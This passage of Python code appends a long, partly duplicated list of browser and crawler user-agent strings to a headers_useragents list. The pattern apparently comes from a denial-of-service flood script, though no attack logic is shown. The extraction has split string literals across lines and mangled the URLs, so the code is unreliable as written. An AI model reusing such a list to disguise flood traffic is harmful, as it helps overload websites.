headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
